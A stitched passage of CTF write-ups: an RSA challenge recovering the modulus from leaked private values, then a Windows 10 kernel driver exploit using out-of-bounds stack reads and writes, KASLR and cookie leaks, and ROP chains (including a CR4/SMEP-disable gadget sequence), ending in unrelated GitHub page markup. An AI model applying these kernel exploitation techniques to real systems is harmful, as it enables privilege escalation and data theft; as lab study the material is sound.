def __str__(self): return "Key([e = {0}, n = {1}, x = {2}, y = {3}])".format(self.e, self.d, self.iqmp, self.ipmq) # ???```
Looks like a standard `RSA` impelemntation, nothing out of the ordinary in the key generation part... Wait whats this?
We can see that instead of getting `n`, we get `d`! we need to somehow recover `n` in order to decrypt the flag, since we already have `d`.
## Math
So we have the following information: `e`, `d=inv(e,(p-1)*(q-1))`, `p'=inv(p,q)` and `q'=inv(q,p)`.
From the definition of the modular inverse we know there are (positive) integers `k`, `t` and `s` such that:
1) `p' * p = 1 + kq`2) `q' * q = 1 + tp`3) `e * d = 1 + s * (p - 1) * (q - 1)`
Now for standard trick: `d` is roughly the size of `n` (most of the time), and so is `(p-1)*(q-1)`, so looking at equation 3, we know that `s` should be roughly the save size as `e`:
```s = (e*d-1)/((p-1)*(q-1)) ~ (e*d)/((p-1)*(q-1)) ~ e```
So we can brute `s in range(e - delta, e + delta)`, where `delta` isnt that big. We can check that `e*d - 1` is divisble by our guess for `s` to reduce the range even more.
Now its time for some annoying math. First of all, we can see that `(-t)*p =1-q'*q`, and therefore `-t` is also a modular inverse of `p mod q`, which means that `-t=p' (mod q)`. The same applies for `-k`, and we get the following interesting congruences:
4) `p' + t = i * q`5) `q' + k = j * p`
for some positive integers `i`, `j`. I claim that actually, `i` = `j`.
Indeed, substituting `p'=i*q-t` in equation 1, we get:
```p'*p = 1 + k*q(i*q-t)*p = 1 + k*qi*p*q - t*p = 1 + k*qi*n = 1 + k*q + t*p```
And similarly for `q'=j*p-k` in equation 2, we get: `j*n=1+k*q+t*p`, which means `j*n=i*n` and therefore `i=j`. We will denote the value of `i` and `j` as `l`.
Now we rewritten equations 4 and 5 as:
4) `p' + t = l * q`5) `q' + k = l * p`
Now, `p'`, `q'`, `p` and `q` are around the same size, and so are `k` and `t` (using the same trick we user for `e` and `s`). Using that we get that:
```l = (p' + t) / q ~ 2```
That is, `l` is **really** small. So we can also brute force `l`, if we need too.
Now lets try substitution:
```p'*p = 1 + k*q # Multiply by ll*p'*p = l + k*q*l # Substitute lp and lq as in equations 4 and 5(q'+k)*p' = l + k(p'+t) # Open up the bracketsp'*q' + k*p' = l + k*p' + k*t # Move things aroundp'*q' - l = k*t```
That is interesting, since the left hand side is composed entirely of stuff we can compute.
Now for the real shit, lets try to use equation 3.
```e*d - 1 = s*(p - 1)*(q - 1) # Divide by s(e*d - 1) / s = (p - 1)*(q - 1) # Multiply by l^2l^2 * [(e*d - 1) / s] = (l*p - l)*(l*q - l) # Substitute equations 4,5l^2 * [(e*d - 1) / s] = (q' + k - l)*(p' + t - l) # Open up RHS
# Move stuff we know to LHS, and group stuffLHS = q'*p' + q'*t - q'*l + k*p' + k*t - k*l - l*p' - l*t + l^2
# Write the final equationLHS - q'*p' + l*(q'+p') - l^2 = (q'-l)*t + (p'-l)*k
l^2 * {[(e*d - 1) / s] - 1} - p'*q' - l*(p'+q') = (q'-l)*t + (p'-l)*k```
Well. This sucks. But notice the LHS is composed entirely of stuff we know (or can brute force) and the right hand size is a linear equation in `t` and `k`, with known coefficients. If we call the monstrosity at the LHS `beta`, and set `alpha = p'*q' - l`, we have the have following equations:
6) `alpha = kt`7) `beta = (p'-l)*k + (q'-l)*t`
Now, this system of equations is most definetly solvable (actually, its a quadratic equation!), which means we can recover `k` and `t` and then `p` and `q`. I wrote a short script that does exactly that, and lo and behold, it worked!
 |
## Pwn - Breath of Shadow
The goal is to pwn a driver running on Windows 10. We are given a .sys file anda Windows 10 virtual machine image with this driver configured to startautomatically. While locally we can use VNC to connect and login as a privilegeduser, we can only access the server via netcat, which will drop us into`cmd.exe` running as a low integrity process. We will be able to use `curl` todownload the exploit to writable `tmp` directory and run it from there, butthat's about it.
To go forward with the analysis, we need two things:
* Kernel image: start [`pyftpdlib`](https://pypi.org/project/pyftpdlib/) on thehost, [`WinSCP`](https://winscp.net) in the guest, upload`c:\windows\system32\ntoskrnl.exe`.* Debugger: [qemu gdbstub](https://wiki.qemu.org/Features/gdbstub) - add `-s`to `run.sh` (while at it, `-vga vmware` might also be useful), then run `gdb -ex'target remote localhost:1234'`.
Now we are ready, let's start by checking out the driver:
```__int64 __fastcall DriverInit(PDRIVER_OBJECT DriverObject){ ... status = IoCreateDevice(DriverObject, 0, &DeviceName, 0x22u, 0x100u, 0, &DeviceObject); if ( NT_SUCCESS(status) ) { DeviceObject->MajorFunction[IRP_MJ_CREATE] = IrpMjCreateClose; DeviceObject->MajorFunction[IRP_MJ_CLOSE] = IrpMjCreateClose; DeviceObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpMjDeviceControl; DeviceObject->DriverUnload = DriverUnload; RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\BreathofShadow"); status = IoCreateSymbolicLink(&DestinationString, &DeviceName); ... DeviceObject->Flags |= DO_DIRECT_IO; DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; seed = KeQueryTimeIncrement(); v4 = (unsigned __int64)(unsigned int)RtlRandomEx(&seed) << 32; v5 = RtlRandomEx(&seed); v3 = "Enable Breath of Shadow Encryptor\n"; key = v4 | v5; } ...}```
It starts with the usual [`DEVICE_OBJECT`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/ns-wdm-_device_object) creation dance:* Call [`IoCreateDevice`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-iocreatedevice) to instantiate it.* Fill `MajorFunction` array with callbacks: * `IRP_MJ_CREATE` is called when we use `CreateFile` on a device. * `IRP_MJ_DEVICE_CONTROL` is called when we use `DeviceIoControl`. * `IRP_MJ_CLOSE` is called when we use `CloseHandle`.* Set `DriverUnload` callback. That one is fairly self-explaining.* Call [`IoCreateSymbolicLink`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-iocreatesymboliclink) in order to expose the device under the name `\DosDevices\BreathofShadow`(Windows, just like any other self-respecting operating system, has a [singlenamespace](https://docs.microsoft.com/en-us/sysinternals/downloads/winobj),under which we can find our files, devices, and all the other stuff).* Indicate that the device will talk to userspace using [Direct I/O](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/methods-for-accessing-data-buffers).* Indicate that we've done initializing the device, and it can now be interactedwith.
At the end we initialize a global 64-bit variable with random data and tell theworld that the mighty Breath of Shadow Encryptor is at our disposal.
`IrpMjCreateClose` and `DriverUnload` are predictably uninteresting. All theaction is happening in `IrpMjDeviceControl`:
```__int64 __fastcall IrpMjDeviceControl(__int64 DeviceObject, struct _IRP *Irp){ ... IoStackLocation = IoGetCurrentIrpStackLocation(Irp); if ( IoStackLocation ) { if ( *(_DWORD *)(v4 + IoStackLocation) == 0x9C40240B ) { DbgPrint("Breath of Shadow Encryptor\n"); v3 = DoDeviceControl(Irp, IoStackLocation); } ...}```
`24` is the offset of [`IO_STACK_LOCATION.DeviceIoControl.IoControlCode`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/ns-wdm-_io_stack_location), so now we know the ioctl command to send: `0x9C40240B`.
```__int64 __fastcall DoDeviceControl(__int64 Irp, __int64 IoStackLocation){ ... Type3InputBuffer = *(__m128i **)(IoStackLocation + 32); InputBufferLength = *(unsigned int *)(IoStackLocation + 16); OutputBufferLength = *(unsigned int *)(IoStackLocation + 8); if ( !Type3InputBuffer ) return 0xC0000001i64; memset((__m128 *)CryptoBuffer, 0, 0x100ui64); ProbeForRead(Type3InputBuffer, 0x100ui64, 1u); memcpy((__m128i *)CryptoBuffer, Type3InputBuffer, InputBufferLength); for ( i = 0; i < InputBufferLength >> 3; ++i ) CryptoBuffer[i] ^= key; ProbeForWrite(Type3InputBuffer, 0x100ui64, 1u); memcpy(Type3InputBuffer, CryptoBuffer, OutputBufferLength); return 0i64;}```
Well, this is ["shoot me in the face"](https://youtu.be/GkQCAHwz9W0?t=6) kind ofthing - two very straightforward OOB errors, which allow us to read from and towrite to the stack. To add insult to injury, the code uses Neither I/O via`Type3InputBuffer`, which points directly to userspace, instead of the promisedDirect I/O, which would require [dancing with MDLs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-mdls).
Exploitation plan:* `DeviceIoControl(InputBufferLength=InputBufferLength=0x100)` in order tofigure out the value of the xor key.* `DeviceIoControl(InputBufferLength=0, OutputBufferLength>0x100)` in order toread the stack.* `DeviceIoControl(InputBufferLength>0x100, OutputBufferLength=0)` in order tooverwrite the stack and control the value of `RIP`.
By analyzing the assembly code we can learn the stack layout:
* `0x0`: `CryptoBuffer`.* `0x100`: Security cookie - will end up being useless very soon.* `0x128`: return to `IrpMjDeviceControl+0x5a` - now we know the driverload address.* `0x158`: return to somewhere in the kernel.
We don't know where the kernel and the stack are, but this is enough informationto set meaningful breakpoints. Let's stop at `DoDeviceControl + 0x103` (that'sthe `ret` instruction we plan to control) and check out the stack again:
```host$ python3 -m http.server &host$ x86_64-w64-mingw32-gcc -o exploit.exe exploit.chost$ nc localhost 50216c:\ctf> cd tmpc:\ctf\tmp> curl http://<host ip>:8000/exploit.exe -o exploit.exec:\ctf\tmp> exploit.exe /scoutKey: 0x6c3bae58430487b4Driver base: 0xfffff8035ddd1000(gdb) b *(0xfffff8035ddd1000+0x140005103-0x140001000)(gdb) cc:\ctf\tmp> exploit.exe /scout(gdb) p/x $rsp0xfffff68e9e3697e8```
Let's scan the stack for stack addresses:
```(gdb) pythonaddr = 0xfffff68e9e3697e8import structi = gdb.inferiors()[0]while True: val, = struct.unpack('<Q', i.read_memory(addr, 8)) if val >= 0xfffff68e00000000 and val < 0xfffff68f00000000: print(hex(addr) + ' ' + hex(val)) addr += 8end0xfffff68e9e369860 0xfffff68e9e369b80```
So here it is - a pointer to `CryptoBuffer+0x4c0` at offset`CryptoBuffer+0x158` - hooray, we can have the stack address now as well! Sinceeach thread has a fixed kernel stack, we can be sure that the value obtainedthis way will persist across multiple `DeviceIoControl` calls.
Let's check out the mysterious kernel return address:
```(gdb) x/a $rsp+0x300xfffff68e9e369818: 0xfffff80358a31f39(gdb) x/2i 0xfffff80358a31f39 0xfffff80358a31f39: add $0x38,%rsp 0xfffff80358a31f3d: retq(gdb) x/8bx 0xfffff80358a31f390xfffff80358a31f39: 0x48 0x83 0xc4 0x38 0xc3 0x0f 0xb6 0x40```
This byte sequence is something we can look up in `ntoskrnl.exe`:
```.text:0000000140031EE0 IofCallDriver proc near....text:0000000140031F39 add rsp, 38h.text:0000000140031F3D retn```
Looks plausible - we can declare victory on KASLR now. How can we exploit? Nowthat we know xor key, rsp and security cookie value, we can jump anywhere, butwhere to?
First attempt: create a ROP chain to disable [SMEP](https://en.wikipedia.org/wiki/Control_register#SMEP) and then jump to userspace executable shellcode buffer. `ntoskrnl.exe` is atrove of ROP gadgets of all shapes and sizes, and [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) can gives us all of them!
```Buf[pos++] = (KernelBase + 0x14001FC39 - 0x140001000); /* pop rcx ; ret */Buf[pos++] = 0x406f8; /* cr4 value */Buf[pos++] = (KernelBase + 0x14017ae47 - 0x140001000); /* mov cr4, rcx ; ret */```
What was [`KERNEL_SECURITY_CHECK_FAILURE`](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/bug-check---bug-check-0x139-kernel-security-check-failure) again? Apparently in the meantime PatchGuard has been trained to detect CR4modifications. Tough luck.
Attempt 2: use ROP chain to call [`ZwOpenFile`](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwopenfile) in order to create a userspace handle for `c:\flag.txt` and then, since wehave messed the kernel stack up beyond repair, don't even think about returningto userspace, but rather park the thread in an endless loop - thanks to kernelpreemption the system remains operational. We can forge `ZwOpenFile` argumentson the stack next to the ROP chain.
After countless crashes, four lessons were learned:
* Check layout of function arguments 7 times. Set a breakpoint in order toinspect how they look like during normal system operation.* Don't put said arguments (and anything at all) above the stack pointer -interrupt handlers will mess them up.* Align stack to 16 bytes before calling functions, or else `MOVDQA` and friendswill throw up.* `ZwOpenFile` can create only kernel handles.
These crashes were also somewhat hard to debug. Normally one configures Windowsto generate `MEMORY.DMP` containing kernel memory, ensures there is enough diskspace (`qemu-img resize` + `diskmgmt.msc` to the rescue) and that swap is on,installs [WinDbg](https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab) and meditates on the output of `!analyze -v`. Unfortunately, for whateverreason, `MEMORY.DMP` was generated only once, and the following gdb script hadto be used for tracing for the rest of the session instead:
```(gdb) set logging redirect on(gdb) set logging overwrite on(gdb) set pagination off(gdb) set logging onpythonwhile True: gdb.execute('x/i $pc') gdb.execute('info registers') gdb.execute('si')end```
So, there appears to be no easy way to forge userspace handles. Messing withcredentials sounds even more complicated, so attempt 3 is: `ZwReadFile` +`memmove` into user space buffer, which is periodically read by a separatethread. In theory this should not be possible due to [`SMAP`](https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention), however, the driver gets a `Type3InputBuffer`, for which, apparently, anexception is made.
Another seemingly endless series of crashes teaches us the following:
* It's better to generate longer ROP sequences in two passes in order to avoidmanually computing offsets.* If a function writes its result to memory (looking at you,`ZwOpenFile.FileHandle`) and another function wants this value as a registerargument, don't rush to look for dereference gadgets - if stack address isknown, just make the first function write the value directly into thecorresponding second function's ROP slot.
This time the exploit works and prints the flag! |
<html lang="en"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars0.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars1.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars2.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars3.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/">
<link crossorigin="anonymous" media="all" integrity="sha512-FG+rXqMOivrAjdEQE7tO4BwM1poGmg70hJFTlNSxjX87grtrZ6UnPR8NkzwUHlQEGviu9XuRYeO8zH9YwvZhdg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-146fab5ea30e8afac08dd11013bb4ee0.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-iXrV/b4ypc1nr10b3Giikqff+qAx5osQ0yJRxHRDd8mKFefdMtEZ0Sxs1QysJxuJBayOKThjsuMjynwBJQq0aw==" rel="stylesheet" href="https://github.githubassets.com/assets/site-897ad5fdbe32a5cd67af5d1bdc68a292.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-whtr9xYX7utnpWsNSLW7XLm7eJONfryMwfwxIH2SpIRKCZbx4aryDfn/HGMFI5Fee7dogmqmtqvPPh13+2HW2Q==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c21b6bf71617eeeb67a56b0d48b5bb5c.css" />
<meta name="viewport" content="width=device-width"> <title>CTF-writeups/README.md at solved · MjSandberg/CTF-writeups · GitHub</title> <meta name="description" content="Contribute to MjSandberg/CTF-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528">
<meta name="twitter:image:src" content="https://avatars2.githubusercontent.com/u/40609955?s=400&v=4" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary" /><meta name="twitter:title" content="MjSandberg/CTF-writeups" /><meta name="twitter:description" content="Contribute to MjSandberg/CTF-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://avatars2.githubusercontent.com/u/40609955?s=400&v=4" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="MjSandberg/CTF-writeups" /><meta property="og:url" content="https://github.com/MjSandberg/CTF-writeups" /><meta property="og:description" content="Contribute to MjSandberg/CTF-writeups development by creating an account on GitHub." />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="82A8:39A56:1508988:1E998E2:5E89E3ED" data-pjax-transient="true"/><meta name="html-safe-nonce" content="857060a91bdc9c16449935c5bc6f98e425d8df66" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4MkE4OjM5QTU2OjE1MDg5ODg6MUU5OThFMjo1RTg5RTNFRCIsInZpc2l0b3JfaWQiOiI4MDc3ODUzNDUxMTM0NTU5MjEyIiwicmVnaW9uX2VkZ2UiOiJhbXMiLCJyZWdpb25fcmVuZGVyIjoiYW1zIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="e111a0e53ea45ede7cac9279020aa7c67779be7ecc880cb1577703302fc1683c" data-pjax-transient="true"/>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-dimension-ga_id" content="" class="js-octo-ga-id" /><meta name="analytics-location" content="/<user-name>/<repo-name>/blob/show" data-pjax-transient="true" />
<meta name="google-analytics" content="UA-3769691-2">
<meta class="js-ga-set" name="dimension1" content="Logged Out">
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_FEATURED_BLOG_POSTS,MARKETPLACE_INVOICED_BILLING,MARKETPLACE_SOCIAL_PROOF_CUSTOMERS,MARKETPLACE_TRENDING_SOCIAL_PROOF,MARKETPLACE_RECOMMENDATIONS,MARKETPLACE_PENDING_INSTALLATIONS,RELATED_ISSUES">
<meta http-equiv="x-pjax-version" content="80ebc3286fe9d88acaddc1320106dfc2">
<link href="https://github.com/MjSandberg/CTF-writeups/commits/solved.atom" rel="alternate" title="Recent Commits to CTF-writeups:solved" type="application/atom+xml">
<meta name="go-import" content="github.com/MjSandberg/CTF-writeups git https://github.com/MjSandberg/CTF-writeups.git">
<meta name="octolytics-dimension-user_id" content="40609955" /><meta name="octolytics-dimension-user_login" content="MjSandberg" /><meta name="octolytics-dimension-repository_id" content="204287103" /><meta name="octolytics-dimension-repository_nwo" content="MjSandberg/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="204287103" /><meta name="octolytics-dimension-repository_network_root_nwo" content="MjSandberg/CTF-writeups" /><meta name="octolytics-dimension-repository_explore_github_marketplace_ci_cta_shown" content="false" />
<link rel="canonical" href="https://github.com/MjSandberg/CTF-writeups/blob/solved/2019/ALLESCTF/Babyquantum/README.md" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327">
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive page-blob">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span> </span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-lg d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" class="octicon octicon-mark-github text-white" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> <svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> MjSandberg / CTF-writeups
</div>
<div class="d-flex flex-items-center"> Sign up
<button class="btn-link d-lg-none mt-1 js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars text-white" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0 4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59 11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1 .59-1z"></path></svg> </button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom bg-gray-light p-3"> <button class="btn-link js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-x text-gray" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded-1 bg-white px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Code review Project management Integrations Actions Packages Security Team management Hosting
Customer stories <span>→</span> Security <span>→</span> </div> </details> Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn & contribute</h4> Topics Collections Trending Learning Lab Open source guides
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> Events Community forum GitHub Education </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans Contact Sales
Nonprofit <span>→</span> Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex mb-3 mb-lg-0"> <div class="header-search flex-self-stretch flex-lg-self-auto mr-0 mr-lg-3 mb-3 mb-lg-0 scoped-search site-scoped-search js-site-search position-relative js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="204287103" data-scoped-search-url="/MjSandberg/CTF-writeups/search" data-unscoped-search-url="/search" action="/MjSandberg/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center js-chromeless-input-container"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" value="" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="v2KKLICxDzK1cnfvBhY4C0doDNCGoZE7zI2RvRExCFtLcCEJRzMCoqLux/PweFFf6NJRPYNnMppOVxZadvhMlQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" >
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
